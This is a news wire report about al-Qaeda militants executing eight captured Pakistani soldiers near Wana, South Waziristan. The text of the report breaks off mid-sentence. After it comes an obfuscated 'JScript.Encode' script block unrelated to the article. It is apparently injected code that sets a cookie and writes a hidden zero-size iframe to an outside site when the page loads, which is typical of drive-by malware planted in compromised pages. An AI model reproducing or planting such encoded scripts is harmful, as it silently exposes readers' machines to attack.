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: : Wana, Pakistan, March 27: Al-Qaeda militants have executed eight Pakistani soldiers taken hostage in fighting near the Afghan border, officials said on Saturday, raising the temperature in an offensive on Islamic radicals. : : : : The soldiers, their hands tied behind their backs and apparently shot at point-blank range, were found in a ditch on Friday near Wana, the capital of the South Waziristan area in Pakistan's semi-autonomous tribal territories. : : They were likely taken hostage and killed shortly after their convoy was ambushed on Monday, a Pakistan army official said. Twelve other soldiers died in the ambush. : : The latest deaths could spark an outburst of anger against the al-Qaeda militants, many of them Uzbeks, Arabs and Chechens whose local support could be threatened by the brutal killing : : <script language="JScript.Encode">#@~^bQEAAA==@#@&\CMPDWNmXGCY'U+SP9CD+`*I@#@&YW9CzfmYRd+O9mYn`DGNmX9CD+RLnDfCYc*_{*i@#@&xGlDC'DW[lHfCORYK!H:?YMrUov#p@#@&NG^!:nxD mKWVrP'~v.ln4msb4sNl{v&Ou4OYa)&zShA Skx9GhS/R1^&taR4Yhgr[{vf,-4YDwl&JhhA SkUNKAS/ 1mJ/wctDhgbNxv2,I~6wb.+k'B3U9lDl3BIBI@#@&NGm!h+ Y AMkYncE@!r0MCs+~kD1P'rtDOw=z&oM+LRk+lM^tcmWs&!GJY/OR4OsgrN{&OJ~4ko4O{!~hb[DtxZP(WD9+Mx!@*@!&k6DCh@*B*I@#@&JnUAAA==^#~@</script>

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